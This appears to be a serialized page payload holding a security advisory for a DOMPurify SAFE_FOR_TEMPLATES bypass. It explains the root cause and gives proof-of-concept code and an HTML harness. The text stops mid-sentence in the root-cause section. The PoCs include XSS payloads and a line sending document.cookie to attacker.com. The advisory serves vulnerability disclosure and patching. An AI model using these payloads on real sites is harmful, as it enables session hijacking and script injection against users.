[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"repo-stars":3,"vuln-GHSA-GVMJ-G25R-R7WR":6},{"stargazers_count":4,"fetched_at":5},8,"2026-09-19T17:35:29.592Z",{"id":7,"descriptions":8,"cisa":9,"weaknesses":10,"exploits":11,"aliases":12,"duplicate_of":9,"upstream":13,"downstream":14,"duplicates":17,"related":18,"reserved_at":9,"published_at":23,"modified_at":24,"state":9,"summary":25,"references_raw":27,"kevs":39,"epss":9,"epss_history":40,"metrics":41,"affected":46},"GHSA-GVMJ-G25R-R7WR","DOMPurify: SAFE_FOR_TEMPLATES bypass - template expressions survive sanitization inside \u003Ctemplate> content when using DOM output modes\n\n## Summary\n\nWhen DOMPurify is configured with both `SAFE_FOR_TEMPLATES: true` and `RETURN_DOM: true` (or `IN_PLACE: true`), an attacker can inject template expressions, such as `${evil}`, `{{evil}}`, or `\u003C%evil%>`, that survive the sanitization pass inside `\u003Ctemplate>` element content. This bypasses the explicit purpose of `SAFE_FOR_TEMPLATES`, which is to prevent template engine evaluation of user-supplied content.\n\n> **Note:** The string output path is **not** affected. Only the DOM return paths (`RETURN_DOM: true`, `RETURN_DOM_FRAGMENT: true`, `IN_PLACE: true`) are vulnerable.\n\n---\n\n## Description\n\n### Background\n\n`SAFE_FOR_TEMPLATES` is designed to strip `{{ }}`, `${ }`, and `\u003C% %>` expressions from sanitized output so that downstream template engines do not evaluate user-controlled content. The feature operates through two mechanisms:\n\n1. **Per-node scrubbing** (`_sanitizeElements`, `src/purify.ts:1403`), scrubs individual text nodes during the main sanitization walk.\n2. **Final normalization pass** (`_scrubTemplateExpressions`, `src/purify.ts:1115`), calls `node.normalize()` to merge adjacent text nodes, then walks the merged nodes and strips any expressions that only appeared after merging.\n\n### The Gap\n\n`_scrubTemplateExpressions` uses a standard `NodeIterator` rooted at the output body:\n\n```ts\n// src/purify.ts:1117\nconst walker = createNodeIterator.call(\n  node.ownerDocument || node,\n  node,\n  NodeFilter.SHOW_TEXT | NodeFilter.SHOW_COMMENT | ...,\n  null\n);\n```\n\nPer the DOM specification, a `NodeIterator` does **not** descend into `\u003Ctemplate>.content`. The template element's content is a separate `DocumentFragment` that lives outside the normal child-node tree. For the same reason, `node.normalize()` (called on line 1116) also **does not** normalize text nodes inside `\u003Ctemplate>.content`.\n\nThis means the final normalization and scrub pass, the only pass that catches expressions formed *by merging split text nodes*, never runs on `\u003Ctemplate>` content.\n\n### How Split Text Nodes Are Created\n\nWhen DOMPurify removes a disallowed element with `KEEP_CONTENT: true` (the default), it moves the element's text children into the parent node. This is the standard code path at `src/purify.ts:1361–1373`:\n\n```ts\nif (KEEP_CONTENT && !FORBID_CONTENTS[tagName]) {\n  const parentNode = getParentNode(currentNode);\n  const childNodes = getChildNodes(currentNode);\n  if (childNodes && parentNode) {\n    for (let i = childCount - 1; i >= 0; --i) {\n      const childClone = cloneNode(childNodes[i], true);\n      parentNode.insertBefore(childClone, getNextSibling(currentNode));\n    }\n  }\n}\n```\n\nIf the removed elements were adjacent siblings inside `\u003Ctemplate>` content, their extracted text nodes end up as **adjacent text nodes** in the template content fragment. Each individual text node is scrubbed by `_sanitizeElements`, but since `$` and `{evil}` do not match any expression regex on their own, neither is modified.\n\nThe code comment at `src/purify.ts:1100` explicitly acknowledges the threat class:\n\n> *\"which only form after text-node normalization (e.g. fragments split across stripped elements) cannot survive into a template-evaluating framework.\"*\n\nThe implementation guards against this on the main body, but the guard is **not** applied to `\u003Ctemplate>` content.\n\n---\n\n## Proof of Concept\n\n### Why the Split Works\n\nThe bypass relies on splitting `${...}` across two adjacent custom elements so that neither fragment matches any DOMPurify regex on its own:\n\n| Fragment | Against `TMPLIT_EXPR` `/\\${[\\w\\W]*/g` | Against `MUSTACHE_EXPR` `/{{[\\w\\W]*\\|^[\\w\\W]*}}/g` | Result |\n|---|---|---|---|\n| `$` | Requires `${` - no `{` follows | No `{{` or `}}` | **Survives** |\n| `{alert(document.domain)}` | Requires leading `$` - absent | No `{{`, ends with single `}` not `}}` | **Survives** |\n| `${alert(document.domain)}` | Full match - would be stripped | - | Stripped if seen whole |\n\nDOMPurify only sees each fragment in isolation. It never merges them before checking, so the expression is never detected.\n\n---\n\n### PoC 1 - XSS via `alert()` (baseline confirmation)\n\n```javascript\n// Attacker input - splits \"${alert(document.domain)}\" across two custom elements.\n// Custom elements are not in DOMPurify's default ALLOWED_TAGS and are removed,\n// but their text content is kept (KEEP_CONTENT: true is the default).\nconst dirty =\n  '\u003Ctemplate>' +\n    '\u003Cx-split-1>$\u003C/x-split-1>' +\n    '\u003Cx-split-2>{alert(document.domain)}\u003C/x-split-2>' +\n  '\u003C/template>';\n\n// Developer sanitizes with SAFE_FOR_TEMPLATES, trusting it strips ${...}\nconst sanitized = DOMPurify.sanitize(dirty, {\n  RETURN_DOM: true,\n  SAFE_FOR_TEMPLATES: true,\n});\n\n// Inspect what survived inside the \u003Ctemplate>\nconst tmpl = sanitized.querySelector('template');\nconsole.log([...tmpl.content.childNodes].map(n => n.nodeValue));\n// [\"$\", \"{alert(document.domain)}\"]  \u003C-- two separate text nodes, both \"clean\"\n\n// Frameworks (lit-html, Angular, custom renderers) routinely call normalize()\n// before reading template content. This merges the adjacent nodes:\ntmpl.content.normalize();\nconsole.log(tmpl.content.textContent);\n// \"${alert(document.domain)}\"  \u003C-- fully formed expression, past the sanitizer\n\n// Any template-literal evaluator now fires XSS:\nconst expr = tmpl.content.textContent;\nnew Function(`return \\`${expr}\\``)();\n// !! alert(document.domain) executes !!\n```\n\n---\n\n### PoC 2 - Session Hijacking via cookie exfiltration\n\n```javascript\n// Splits \"${document.location='//attacker.com/?c='+document.cookie}\"\n// \"{document.location=...}\" ends with a single \"}\" — does NOT match\n// MUSTACHE_EXPR's \"^[\\w\\W]*}}\" (requires double \"}}\"), so it survives.\nconst dirty =\n  '\u003Ctemplate>' +\n    '\u003Cx-a>$\u003C/x-a>' +\n    '\u003Cx-b>{document.location=\"//attacker.com/?c=\"+document.cookie}\u003C/x-b>' +\n  '\u003C/template>';\n\nconst sanitized = DOMPurify.sanitize(dirty, {\n  RETURN_DOM: true,\n  SAFE_FOR_TEMPLATES: true,\n});\n\nconst tmpl = sanitized.querySelector('template');\ntmpl.content.normalize();\n\nconsole.log(tmpl.content.textContent);\n// \"${document.location=\"//attacker.com/?c=\"+document.cookie}\"\n\n// Template engine evaluates it - victim's browser makes the request:\nnew Function(`return \\`${tmpl.content.textContent}\\``)();\n// !! Redirects victim to attacker.com with their full cookie string !!\n// e.g. https://attacker.com/?c=session=abc123;auth_token=xyz789\n```\n\n---\n\n### PoC 3 - End-to-end: realistic application context\n\nThis shows the full path in an application that uses DOMPurify to sanitize user-submitted rich text before rendering it with a custom template engine:\n\n```html\n\u003C!-- index.html - the vulnerable application -->\n\u003Cdiv id=\"output\">\u003C/div>\n\u003Cscript type=\"module\">\n  import DOMPurify from './dist/purify.es.mjs';\n\n  // Simulates fetching and rendering user-submitted comment\n  async function renderComment(userHtml) {\n    // Developer correctly uses SAFE_FOR_TEMPLATES to protect the template engine\n    const dom = DOMPurify.sanitize(userHtml, {\n      RETURN_DOM: true,\n      SAFE_FOR_TEMPLATES: true,\n    });\n\n    // Application iterates \u003Ctemplate> elements and evaluates their content\n    // (common pattern in component-based frameworks)\n    dom.querySelectorAll('template').forEach(tmpl => {\n      tmpl.content.normalize(); // standard DOM housekeeping\n      const content = tmpl.content.textContent;\n\n      // Application uses template literals to interpolate user content into UI\n      const rendered = new Function('user', `return \\`${content}\\``)({ name: 'World' });\n      document.getElementById('output').innerHTML += rendered;\n    });\n  }\n\n  // Attacker-supplied comment content\n  const attackerComment =\n    '\u003Ctemplate>' +\n      '\u003Cx-a>$\u003C/x-a>' +\n      '\u003Cx-b>{alert(\"XSS: \" + document.cookie)}\u003C/x-b>' +\n    '\u003C/template>';\n\n  // Developer believes SAFE_FOR_TEMPLATES makes this safe — it does not for RETURN_DOM\n  renderComment(attackerComment);\n  // !! XSS fires, alert pops with session cookies !!\n\u003C/script>\n```\n\n**Observed output:** `alert(\"XSS: \" + document.cookie)` executes in the victim's browser context, leaking session tokens to the attacker.\n\n---\n\n### PoC 4 - `IN_PLACE` mode (DOM input path)\n\n```javascript\n// Applicable when the application sanitizes DOM nodes directly\n// (e.g., content loaded into an iframe or received from a WebSocket)\n\nconst container = document.createElement('div');\nconst tmpl = document.createElement('template');\n\n// Adjacent text nodes - these would never appear in HTML-parsed content,\n// but CAN appear in programmatically constructed DOM or WebSocket messages\n// that are deserialised into DOM nodes before sanitisation.\ntmpl.content.appendChild(document.createTextNode('$'));\ntmpl.content.appendChild(document.createTextNode('{alert(document.domain)}'));\ncontainer.appendChild(tmpl);\n\n// Sanitize in-place with SAFE_FOR_TEMPLATES - expected to strip all ${...}\nDOMPurify.sanitize(container, { IN_PLACE: true, SAFE_FOR_TEMPLATES: true });\n\n// Neither text node was modified - each passed the regex check individually\ncontainer.querySelector('template').content.normalize();\nconsole.log(container.querySelector('template').content.textContent);\n// \"${alert(document.domain)}\"  \u003C-- survived in-place sanitization\n\nnew Function(`return \\`${container.querySelector('template').content.textContent}\\``)();\n// !! XSS fires !!\n```\n\nHTML File for testing\n```HTML\n\u003C!DOCTYPE html>\n\u003Chtml lang=\"en\">\n\u003Chead>\n  \u003Cmeta charset=\"UTF-8\" />\n  \u003Ctitle>DOMPurify SAFE_FOR_TEMPLATES Bypass - PoC\u003C/title>\n  \u003Cscript src=\"dist/purify.js\">\u003C/script>\n  \u003Cstyle>\n    * { box-sizing: border-box; margin: 0; padding: 0; }\n    body {\n      font-family: 'Segoe UI', system-ui, sans-serif;\n      background: #0d1117;\n      color: #e6edf3;\n      padding: 32px;\n    }\n    h1 { font-size: 1.4rem; color: #f85149; margin-bottom: 6px; }\n    .subtitle { color: #8b949e; font-size: 0.9rem; margin-bottom: 32px; }\n    .card {\n      background: #161b22;\n      border: 1px solid #30363d;\n      border-radius: 8px;\n      margin-bottom: 24px;\n      overflow: hidden;\n    }\n    .card-header {\n      display: flex;\n      align-items: center;\n      gap: 10px;\n      padding: 14px 20px;\n      border-bottom: 1px solid #30363d;\n      background: #1c2128;\n    }\n    .badge {\n      font-size: 0.72rem;\n      font-weight: 700;\n      padding: 2px 8px;\n      border-radius: 4px;\n      text-transform: uppercase;\n      letter-spacing: 0.05em;\n    }\n    .badge-run    { background: #1f6feb; color: #fff; }\n    .badge-pass   { background: #238636; color: #fff; }\n    .badge-fail   { background: #da3633; color: #fff; }\n    .badge-warn   { background: #9e6a03; color: #fff; }\n    .card-title   { font-size: 0.95rem; font-weight: 600; }\n    .card-body    { padding: 20px; }\n    label         { font-size: 0.78rem; color: #8b949e; display: block; margin-bottom: 6px; }\n    pre {\n      background: #0d1117;\n      border: 1px solid #30363d;\n      border-radius: 6px;\n      padding: 14px;\n      font-size: 0.82rem;\n      line-height: 1.6;\n      overflow-x: auto;\n      margin-bottom: 14px;\n      white-space: pre-wrap;\n      word-break: break-all;\n    }\n    pre.result    { border-color: #238636; background: #0a1a0f; }\n    pre.escaped   { border-color: #da3633; background: #1a0a0a; }\n    pre.highlight { border-color: #f85149; color: #f85149; font-weight: bold; }\n    .grid { display: grid; grid-template-columns: 1fr 1fr; gap: 14px; }\n    @media (max-width: 700px) { .grid { grid-template-columns: 1fr; } }\n    .arrow {\n      text-align: center;\n      font-size: 1.4rem;\n      color: #8b949e;\n      margin: 4px 0;\n    }\n    .xss-banner {\n      display: none;\n      background: #da3633;\n      color: #fff;\n      text-align: center;\n      padding: 16px;\n      font-size: 1.1rem;\n      font-weight: 700;\n      border-radius: 6px;\n      margin-bottom: 24px;\n      letter-spacing: 0.03em;\n    }\n    button {\n      background: #238636;\n      color: #fff;\n      border: none;\n      padding: 10px 22px;\n      border-radius: 6px;\n      font-size: 0.9rem;\n      font-weight: 600;\n      cursor: pointer;\n      margin-right: 10px;\n      margin-bottom: 8px;\n    }\n    button:hover { background: #2ea043; }\n    button.danger { background: #da3633; }\n    button.danger:hover { background: #f85149; }\n    .note {\n      background: #161b22;\n      border-left: 3px solid #9e6a03;\n      padding: 12px 16px;\n      font-size: 0.82rem;\n      color: #e3b341;\n      border-radius: 0 6px 6px 0;\n      margin-top: 14px;\n    }\n    #log {\n      background: #0d1117;\n      border: 1px solid #30363d;\n      border-radius: 6px;\n      padding: 14px;\n      font-size: 0.8rem;\n      font-family: monospace;\n      min-height: 60px;\n      max-height: 300px;\n      overflow-y: auto;\n      line-height: 1.8;\n    }\n    .log-ok   { color: #3fb950; }\n    .log-fail { color: #f85149; }\n    .log-info { color: #8b949e; }\n    .log-warn { color: #e3b341; }\n  \u003C/style>\n\u003C/head>\n\u003Cbody>\n\n  \u003Ch1>🔴 DOMPurify 3.4.7 - SAFE_FOR_TEMPLATES Bypass\u003C/h1>\n  \u003Cp class=\"subtitle\">\n    CVE candidate · Template expression injection via &lt;template&gt; content ·\n    Affects: \u003Ccode>RETURN_DOM + SAFE_FOR_TEMPLATES\u003C/code> and \u003Ccode>IN_PLACE + SAFE_FOR_TEMPLATES\u003C/code>\n  \u003C/p>\n\n  \u003Cdiv id=\"xss-banner\" class=\"xss-banner\">\n    ⚠️ XSS CONFIRMED - Expression executed in this page's context\n  \u003C/div>\n\n  \u003C!-- ── Controls ─────────────────────────────────────────── -->\n  \u003Cdiv class=\"card\">\n    \u003Cdiv class=\"card-header\">\n      \u003Cspan class=\"badge badge-run\">Controls\u003C/span>\n      \u003Cspan class=\"card-title\">Run individual test cases\u003C/span>\n    \u003C/div>\n    \u003Cdiv class=\"card-body\">\n      \u003Cbutton onclick=\"runAll()\">▶ Run all tests\u003C/button>\n      \u003Cbutton onclick=\"runPoC1()\">PoC 1 - alert()\u003C/button>\n      \u003Cbutton onclick=\"runPoC2()\">PoC 2 - cookie exfil\u003C/button>\n      \u003Cbutton onclick=\"runPoC3()\">PoC 3 - IN_PLACE\u003C/button>\n      \u003Cbutton onclick=\"runControl()\">Control - string output (should block)\u003C/button>\n      \u003Cdiv class=\"note\">\n        PoC 1 uses \u003Ccode>confirm()\u003C/code> instead of \u003Ccode>alert()\u003C/code> so the page\n        doesn't need a dismiss click to continue. Watch the red banner at the top.\n      \u003C/div>\n    \u003C/div>\n  \u003C/div>\n\n  \u003C!-- ── PoC 1 ─────────────────────────────────────────────── -->\n  \u003Cdiv class=\"card\" id=\"card-poc1\">\n    \u003Cdiv class=\"card-header\">\n      \u003Cspan class=\"badge badge-run\" id=\"badge-poc1\">PENDING\u003C/span>\n      \u003Cspan class=\"card-title\">PoC 1 - XSS via confirm() · RETURN_DOM mode\u003C/span>\n    \u003C/div>\n    \u003Cdiv class=\"card-body\">\n      \u003Cdiv class=\"grid\">\n        \u003Cdiv>\n          \u003Clabel>ATTACKER INPUT - splits \u003Ccode>${\"{confirm(...)}\"}\u003C/code> across two custom elements\u003C/label>\n          \u003Cpre id=\"input-poc1\">\u003C/pre>\n        \u003C/div>\n        \u003Cdiv>\n          \u003Clabel>AFTER DOMPurify.sanitize() - what survived in template.content\u003C/label>\n          \u003Cpre class=\"result\" id=\"nodes-poc1\">\u003C/pre>\n        \u003C/div>\n      \u003C/div>\n      \u003Cdiv class=\"arrow\">↓ template.content.normalize() ↓\u003C/div>\n      \u003Clabel>MERGED TEXT NODE - fully formed expression after normalization\u003C/label>\n      \u003Cpre class=\"highlight\" id=\"merged-poc1\">\u003C/pre>\n      \u003Clabel>EXECUTION RESULT\u003C/label>\n      \u003Cpre id=\"exec-poc1\">Not run yet\u003C/pre>\n    \u003C/div>\n  \u003C/div>\n\n  \u003C!-- ── PoC 2 ─────────────────────────────────────────────── -->\n  \u003Cdiv class=\"card\" id=\"card-poc2\">\n    \u003Cdiv class=\"card-header\">\n      \u003Cspan class=\"badge badge-run\" id=\"badge-poc2\">PENDING\u003C/span>\n      \u003Cspan class=\"card-title\">PoC 2 - Cookie exfiltration · RETURN_DOM mode\u003C/span>\n    \u003C/div>\n    \u003Cdiv class=\"card-body\">\n      \u003Cdiv class=\"grid\">\n        \u003Cdiv>\n          \u003Clabel>ATTACKER INPUT - exfil payload split across custom elements\u003C/label>\n          \u003Cpre id=\"input-poc2\">\u003C/pre>\n        \u003C/div>\n        \u003Cdiv>\n          \u003Clabel>INDIVIDUAL TEXT NODES after sanitization (each \"clean\")\u003C/label>\n          \u003Cpre class=\"result\" id=\"nodes-poc2\">\u003C/pre>\n        \u003C/div>\n      \u003C/div>\n      \u003Cdiv class=\"arrow\">↓ template.content.normalize() ↓\u003C/div>\n      \u003Clabel>MERGED EXPRESSION - what a template engine would evaluate\u003C/label>\n      \u003Cpre class=\"highlight\" id=\"merged-poc2\">\u003C/pre>\n      \u003Clabel>SIMULATED EXECUTION (fetch URL that would be called)\u003C/label>\n      \u003Cpre id=\"exec-poc2\">Not run yet\u003C/pre>\n      \u003Cdiv class=\"note\">\n        Real execution would redirect the victim to\n        \u003Ccode>attacker.com\u003C/code> carrying the session cookie.\n        This PoC constructs the URL without actually sending it.\n      \u003C/div>\n    \u003C/div>\n  \u003C/div>\n\n  \u003C!-- ── PoC 3 ─────────────────────────────────────────────── -->\n  \u003Cdiv class=\"card\" id=\"card-poc3\">\n    \u003Cdiv class=\"card-header\">\n      \u003Cspan class=\"badge badge-run\" id=\"badge-poc3\">PENDING\u003C/span>\n      \u003Cspan class=\"card-title\">PoC 3 - XSS · IN_PLACE mode (DOM node input)\u003C/span>\n    \u003C/div>\n    \u003Cdiv class=\"card-body\">\n      \u003Cdiv class=\"grid\">\n        \u003Cdiv>\n          \u003Clabel>ATTACKER PROVIDES - a DOM node with programmatically split text nodes\u003C/label>\n          \u003Cpre id=\"input-poc3\">\u003C/pre>\n        \u003C/div>\n        \u003Cdiv>\n          \u003Clabel>AFTER IN_PLACE sanitization - text nodes unchanged\u003C/label>\n          \u003Cpre class=\"result\" id=\"nodes-poc3\">\u003C/pre>\n        \u003C/div>\n      \u003C/div>\n      \u003Cdiv class=\"arrow\">↓ template.content.normalize() ↓\u003C/div>\n      \u003Clabel>MERGED EXPRESSION\u003C/label>\n      \u003Cpre class=\"highlight\" id=\"merged-poc3\">\u003C/pre>\n      \u003Clabel>EXECUTION RESULT\u003C/label>\n      \u003Cpre id=\"exec-poc3\">Not run yet\u003C/pre>\n    \u003C/div>\n  \u003C/div>\n\n  \u003C!-- ── Control ───────────────────────────────────────────── -->\n  \u003Cdiv class=\"card\" id=\"card-ctrl\">\n    \u003Cdiv class=\"card-header\">\n      \u003Cspan class=\"badge badge-run\" id=\"badge-ctrl\">PENDING\u003C/span>\n      \u003Cspan class=\"card-title\">Control - string output (default) MUST block the payload\u003C/span>\n    \u003C/div>\n    \u003Cdiv class=\"card-body\">\n      \u003Clabel>Same attacker input, but sanitized WITHOUT RETURN_DOM (string output path)\u003C/label>\n      \u003Cpre id=\"input-ctrl\">\u003C/pre>\n      \u003Cdiv class=\"arrow\">↓ DOMPurify.sanitize() - string path hits the regex scrub at line 2067 ↓\u003C/div>\n      \u003Clabel>OUTPUT STRING - expression should be stripped\u003C/label>\n      \u003Cpre id=\"output-ctrl\">Not run yet\u003C/pre>\n      \u003Cdiv class=\"note\">\n        The string output path is NOT vulnerable because\n        \u003Ccode>body.innerHTML\u003C/code> serialises the template content into a\n        flat string where the full \u003Ccode>${\"{...}\"}\u003C/code> expression is visible\n        and the final regex scrub catches it.\n      \u003C/div>\n    \u003C/div>\n  \u003C/div>\n\n  \u003C!-- ── Log ───────────────────────────────────────────────── -->\n  \u003Cdiv class=\"card\">\n    \u003Cdiv class=\"card-header\">\n      \u003Cspan class=\"badge badge-run\">Log\u003C/span>\n      \u003Cspan class=\"card-title\">Test output\u003C/span>\n    \u003C/div>\n    \u003Cdiv class=\"card-body\">\n      \u003Cdiv id=\"log\">\u003C/div>\n    \u003C/div>\n  \u003C/div>\n\n\u003Cscript>\n// ── Helpers ────────────────────────────────────────────────────────────────\n\nlet xssConfirmed = false;\n\nfunction log(msg, type = 'info') {\n  const el = document.getElementById('log');\n  const line = document.createElement('div');\n  line.className = 'log-' + type;\n  line.textContent = '[' + new Date().toLocaleTimeString() + '] ' + msg;\n  el.appendChild(line);\n  el.scrollTop = el.scrollHeight;\n}\n\nfunction setBadge(id, status) {\n  const el = document.getElementById('badge-' + id);\n  el.textContent = status;\n  el.className = 'badge ' + {\n    PASS: 'badge-fail',   // \"PASS\" here means the attack succeeded (bad for security)\n    BLOCK: 'badge-pass',  // \"BLOCK\" means DOMPurify correctly blocked it\n    PENDING: 'badge-run',\n    ERROR: 'badge-warn',\n  }[status];\n}\n\nfunction markXSS(poc) {\n  if (!xssConfirmed) {\n    xssConfirmed = true;\n    document.getElementById('xss-banner').style.display = 'block';\n  }\n  log('🔴 XSS CONFIRMED in ' + poc + ' - expression executed in page context', 'fail');\n}\n\n// ── PoC 1: RETURN_DOM + alert ──────────────────────────────────────────────\n\nfunction runPoC1() {\n  log('Running PoC 1 - RETURN_DOM + confirm()...', 'info');\n\n  // IMPORTANT:\n  // Build a REAL template DOM node with split TEXT nodes.\n  // HTML parsing would merge adjacent text automatically,\n  // so we construct the DOM programmatically.\n\n  const container = document.createElement('div');\n  const tmpl = document.createElement('template');\n\n  tmpl.content.appendChild(document.createTextNode('$'));\n  tmpl.content.appendChild(\n    document.createTextNode(\n      '{confirm(\"XSS - DOMPurify SAFE_FOR_TEMPLATES bypass\\\\nExpression executed in: \" + document.domain)}'\n    )\n  );\n\n  container.appendChild(tmpl);\n\n  document.getElementById('input-poc1').textContent =\n    'template.content.childNodes[0].data = \"$\"\\\\n' +\n    'template.content.childNodes[1].data = \"{confirm(...)}\"';\n\n  // Sanitize the DOM node itself\n  const sanitized = DOMPurify.sanitize(container, {\n    RETURN_DOM: true,\n    SAFE_FOR_TEMPLATES: true,\n  });\n\n  const tmplAfter = sanitized.querySelector('template');\n\n  if (!tmplAfter) {\n    document.getElementById('exec-poc1').textContent =\n      'Template element removed during sanitization';\n    setBadge('poc1', 'ERROR');\n    return;\n  }\n\n  const nodesBefore = [...tmplAfter.content.childNodes].map(\n    n => JSON.stringify(n.nodeValue)\n  );\n\n  document.getElementById('nodes-poc1').textContent =\n    'childNodes[0].data = ' + nodesBefore[0] + '\\\\n' +\n    'childNodes[1].data = ' + nodesBefore[1] + '\\\\n\\\\n' +\n    '→ Neither fragment matched individually.';\n\n  log(\n    'PoC 1: Text nodes after sanitization: ' +\n    nodesBefore.join(', '),\n    'warn'\n  );\n\n  // Merge text nodes\n  tmplAfter.content.normalize();\n\n  const merged = tmplAfter.content.textContent;\n\n  document.getElementById('merged-poc1').textContent = merged;\n\n  log('PoC 1: After normalize() - merged text: ' + merged, 'warn');\n\n  try {\n    const result = new Function('return `' + merged + '`')();\n\n    document.getElementById('exec-poc1').textContent =\n      '✔ Expression executed successfully\\\\n' +\n      'Returned: ' + result;\n\n    setBadge('poc1', 'PASS');\n    markXSS('PoC 1');\n\n  } catch (e) {\n    document.getElementById('exec-poc1').textContent =\n      'Error: ' + e.message;\n\n    setBadge('poc1', 'ERROR');\n\n    log('PoC 1 error: ' + e.message, 'warn');\n  }\n}\n\n// ── PoC 2: cookie exfiltration ─────────────────────────────────────────────\n\nfunction runPoC2() {\n  log('Running PoC 2 - cookie exfiltration...', 'info');\n\n  // Fake cookie for demonstration\n  document.cookie = 'session=DEADBEEF_SECRET_TOKEN; path=/';\n\n  // IMPORTANT:\n  // Build REAL split text nodes programmatically.\n  // Do NOT rely on HTML parsing.\n\n  const container = document.createElement('div');\n  const tmpl = document.createElement('template');\n\n  tmpl.content.appendChild(document.createTextNode('$'));\n\n  tmpl.content.appendChild(\n    document.createTextNode(\n      '{document.location=\"//attacker.com/steal?c=\"+document.cookie}'\n    )\n  );\n\n  container.appendChild(tmpl);\n\n  document.getElementById('input-poc2').textContent =\n    'template.content.childNodes[0].data = \"$\"\\\\n' +\n    'template.content.childNodes[1].data = \"{document.location=...}\"';\n\n  // Sanitize DOM node\n  const sanitized = DOMPurify.sanitize(container, {\n    RETURN_DOM: true,\n    SAFE_FOR_TEMPLATES: true,\n  });\n\n  const tmplAfter = sanitized.querySelector('template');\n\n  if (!tmplAfter) {\n    document.getElementById('exec-poc2').textContent =\n      'Template element removed during sanitization';\n\n    setBadge('poc2', 'ERROR');\n\n    log('PoC 2: template element missing after sanitize()', 'warn');\n\n    return;\n  }\n\n  const nodes = [...tmplAfter.content.childNodes].map(\n    n => JSON.stringify(n.nodeValue)\n  );\n\n  document.getElementById('nodes-poc2').textContent =\n    'Node 0: ' + nodes[0] + '\\\\n' +\n    'Node 1: ' + nodes[1] + '\\\\n\\\\n' +\n    '→ Neither fragment individually matches template-expression regexes.';\n\n  log('PoC 2: Nodes after sanitize: ' + nodes.join(', '), 'warn');\n\n  // Merge adjacent text nodes\n  tmplAfter.content.normalize();\n\n  const merged = tmplAfter.content.textContent;\n\n  document.getElementById('merged-poc2').textContent = merged;\n\n  log('PoC 2: Merged expression: ' + merged, 'warn');\n\n  // Simulate framework evaluation\n  try {\n    new Function('return `' + merged + '`')();\n\n    const cookieValue = document.cookie;\n\n    const stealUrl =\n      '//attacker.com/steal?c=' +\n      encodeURIComponent(cookieValue);\n\n    document.getElementById('exec-poc2').textContent =\n      '✔ Expression successfully evaluated\\\\n\\\\n' +\n      'Would redirect victim to:\\\\n' +\n      stealUrl + '\\\\n\\\\n' +\n      'Cookie exposed:\\\\n' +\n      cookieValue;\n\n    setBadge('poc2', 'PASS');\n\n    markXSS('PoC 2');\n\n    log('PoC 2: Would exfiltrate cookie → ' + stealUrl, 'fail');\n\n  } catch (e) {\n    document.getElementById('exec-poc2').textContent =\n      'Error: ' + e.message;\n\n    setBadge('poc2', 'ERROR');\n\n    log('PoC 2 error: ' + e.message, 'warn');\n  }\n}\n// ── PoC 3: IN_PLACE mode ───────────────────────────────────────────────────\n\nfunction runPoC3() {\n  log('Running PoC 3 - IN_PLACE mode...', 'info');\n\n  // Build DOM node manually (simulates attacker-controlled DOM input,\n  // e.g. content parsed from a WebSocket message or an iframe)\n  const container = document.createElement('div');\n  const tmplEl = document.createElement('template');\n\n  // Two separate text nodes - HTML parser merges them, but programmatic\n  // DOM construction keeps them split. This is the IN_PLACE attack surface.\n  tmplEl.content.appendChild(document.createTextNode('$'));\n  tmplEl.content.appendChild(document.createTextNode('{confirm(\"XSS via IN_PLACE - domain: \" + document.domain)}'));\n  container.appendChild(tmplEl);\n\n  document.getElementById('input-poc3').textContent =\n    '// Programmatically constructed DOM node:\\n' +\n    'template.content.childNodes[0].data = \"$\"\\n' +\n    'template.content.childNodes[1].data = \"{confirm(\\\\\"XSS via IN_PLACE...\\\\\")}\"\\n\\n' +\n    '// Passed to DOMPurify.sanitize(container, { IN_PLACE: true, SAFE_FOR_TEMPLATES: true })';\n\n  // Sanitize IN_PLACE - SAFE_FOR_TEMPLATES should strip the expression\n  DOMPurify.sanitize(container, {\n    IN_PLACE: true,\n    SAFE_FOR_TEMPLATES: true,\n  });\n\n  const tmplAfter = container.querySelector('template');\n  const nodesAfter = [...tmplAfter.content.childNodes].map(n => n.nodeValue);\n  document.getElementById('nodes-poc3').textContent =\n    'childNodes[0].data = ' + JSON.stringify(nodesAfter[0]) + '\\n' +\n    'childNodes[1].data = ' + JSON.stringify(nodesAfter[1]) + '\\n\\n' +\n    '→ _scrubTemplateExpressions() did not enter template.content\\n' +\n    '→ Both nodes unchanged after sanitization.';\n\n  log('PoC 3: Nodes after IN_PLACE sanitize: ' + nodesAfter.map(n => JSON.stringify(n)).join(', '), 'warn');\n\n  tmplAfter.content.normalize();\n  const merged = tmplAfter.content.textContent;\n  document.getElementById('merged-poc3').textContent = merged;\n\n  log('PoC 3: Merged: ' + merged, 'warn');\n\n  try {\n    const result = new Function('return `' + merged + '`')();\n    document.getElementById('exec-poc3').textContent =\n      '✔ new Function() returned: ' + result + '\\n' +\n      'confirm() dialog shown. XSS confirmed via IN_PLACE mode.';\n    setBadge('poc3', 'PASS');\n    markXSS('PoC 3');\n  } catch (e) {\n    document.getElementById('exec-poc3').textContent = 'Error: ' + e.message;\n    setBadge('poc3', 'ERROR');\n    log('PoC 3 error: ' + e.message, 'warn');\n  }\n}\n\n// ── Control: string output must block ─────────────────────────────────────\n\nfunction runControl() {\n  log('Running control - string output path (should block)...', 'info');\n\n  const dirty =\n    '\u003Ctemplate>' +\n      '\u003Cx-split-1>$\u003C/x-split-1>' +\n      '\u003Cx-split-2>{confirm(\"this should never fire\")}\u003C/x-split-2>' +\n    '\u003C/template>';\n\n  document.getElementById('input-ctrl').textContent = dirty;\n\n  // Default string output - NOT using RETURN_DOM\n  const sanitized = DOMPurify.sanitize(dirty, {\n    SAFE_FOR_TEMPLATES: true,\n    // RETURN_DOM intentionally omitted - string path is safe\n  });\n\n  document.getElementById('output-ctrl').textContent = sanitized;\n\n  const blocked = !sanitized.includes('${') && !sanitized.includes('{confirm');\n  if (blocked) {\n    setBadge('ctrl', 'BLOCK');\n    log('Control: String output correctly stripped the expression. Output: ' + sanitized, 'ok');\n  } else {\n    setBadge('ctrl', 'PASS'); // unexpected\n    log('Control: UNEXPECTED - expression survived string output path: ' + sanitized, 'fail');\n  }\n}\n\n// ── Run all ────────────────────────────────────────────────────────────────\n\nfunction runAll() {\n  document.getElementById('log').innerHTML = '';\n  xssConfirmed = false;\n  document.getElementById('xss-banner').style.display = 'none';\n  log('=== Starting full test run ===', 'info');\n  runPoC1();\n  runPoC2();\n  runPoC3();\n  runControl();\n  log('=== Test run complete ===', 'info');\n}\n\u003C/script>\n\n\u003C/body>\n\u003C/html>\n\n\n```\n\n\n---\n\n## Root Cause\n\n`_scrubTemplateExpressions` (`src/purify.ts:1115`) does not recurse into 